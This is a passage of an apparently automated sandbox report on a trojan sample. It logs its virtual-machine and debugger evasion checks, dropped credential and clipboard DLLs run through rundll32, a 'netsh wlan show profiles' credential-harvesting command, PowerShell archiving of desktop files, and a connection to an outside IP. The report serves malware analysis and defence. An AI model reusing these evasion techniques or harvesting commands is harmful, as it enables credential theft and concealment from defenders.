Source: explorha.exe, explorha.exe, 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmp, explorha.exe, 00000006.00000002.2895332014.000000000067F000.00000040.00000001.01000000.00000008.sdmp, ad0e9cf6d6.exe, 0000000E.00000002.2892507587.00000000003CF000.00000040.00000001.01000000.0000000D.sdmp, MPGPH131.exe, 00000013.00000002.2892343605.0000000000C6F000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000002.2893211129.0000000000C6F000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2892406718.00000000003CF000.00000040.00000001.01000000.0000000D.sdmp, amert.exe, 00000018.00000002.2571780914.000000000068F000.00000040.00000001.01000000.00000011.sdmp, explorgu.exe, 00000019.00000002.2602792989.000000000034F000.00000040.00000001.01000000.00000012.sdmp, RageMP131.exe, 0000001A.00000002.2892518126.00000000010FF000.00000040.00000001.01000000.00000013.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2892342399.00000000003CF000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ad0e9cf6d6.exe, 0000001B.00000003.2690881000.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000121B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\#disk&ven_vmware&prouask#4&1656f219&0&0000f5-b6bf-11d0-94f2-00a08b
Source: RageMP131.exe, 0000001C.00000002.2892698190.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000008.00000002.2450226998.000002E1743E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&l
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.0000000001587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}<
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWIC;
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2450226998.000002E1743E1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2450226998.000002E174328000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.2892509768.0000000002E09000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.0000000001537000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001401000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.0000000001587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: MPGPH131.exe, 00000014.00000003.2462757282.0000000001225000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}8
Source: RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: RageMP131.exe, 0000001C.00000003.2773831202.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: MPGPH131.exe, 00000013.00000002.2899823054.0000000001547000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}m
Source: MPGPH131.exe, 00000013.00000002.2899823054.00000000014DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&[
Source: netsh.exe, 00000009.00000002.2367337414.00000178B7287000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000009.00000003.2366894852.00000178B7284000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd
Source: RageMP131.exe, 0000001C.00000002.2892698190.0000000000A10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: MPGPH131.exe, 00000013.00000003.2460839915.0000000001545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.00000000013E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}*
Source: ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXx
Source: ad0e9cf6d6.exe, 00000016.00000003.2526875239.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}>
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-
Source: MPGPH131.exe, 00000013.00000003.2460839915.000000000154D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}y
Source: explorha.exe, 00000006.00000002.2904871906.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW 5
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000120C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHV%
Source: ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Z
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe, 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmp, explorha.exe, 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmp, explorha.exe, 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmp, explorha.exe, 00000006.00000002.2895332014.000000000067F000.00000040.00000001.01000000.00000008.sdmp, ad0e9cf6d6.exe, 0000000E.00000002.2892507587.00000000003CF000.00000040.00000001.01000000.0000000D.sdmp, MPGPH131.exe, 00000013.00000002.2892343605.0000000000C6F000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000002.2893211129.0000000000C6F000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2892406718.00000000003CF000.00000040.00000001.01000000.0000000D.sdmp, amert.exe, 00000018.00000002.2571780914.000000000068F000.00000040.00000001.01000000.00000011.sdmp, explorgu.exe, 00000019.00000002.2602792989.000000000034F000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: rundll32.exe, 0000000D.00000002.2892509768.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.0000000001587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Code function: 0_2_05000D4A rdtsc

0_2_05000D4A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B37BBB mov eax, dword ptr fs:[00000030h]	0_2_00B37BBB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B3B922 mov eax, dword ptr fs:[00000030h]	0_2_00B3B922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004BB922 mov eax, dword ptr fs:[00000030h]	1_2_004BB922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004B7BBB mov eax, dword ptr fs:[00000030h]	1_2_004B7BBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004BB922 mov eax, dword ptr fs:[00000030h]	2_2_004BB922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004B7BBB mov eax, dword ptr fs:[00000030h]	2_2_004B7BBB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 193.233.132.56 80

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe "C:\Users\user\AppData\Local\Temp\1000049001\amert.exe"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe, SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe, 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmp, explorha.exe, explorha.exe, 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Program Manager
Source: ad0e9cf6d6.exe, 0000000E.00000002.2892507587.00000000003CF000.00000040.00000001.01000000.0000000D.sdmp, MPGPH131.exe, 00000013.00000002.2892343605.0000000000C6F000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000002.2893211129.0000000000C6F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: MProgram Manager

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000051001\b977f667d6.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
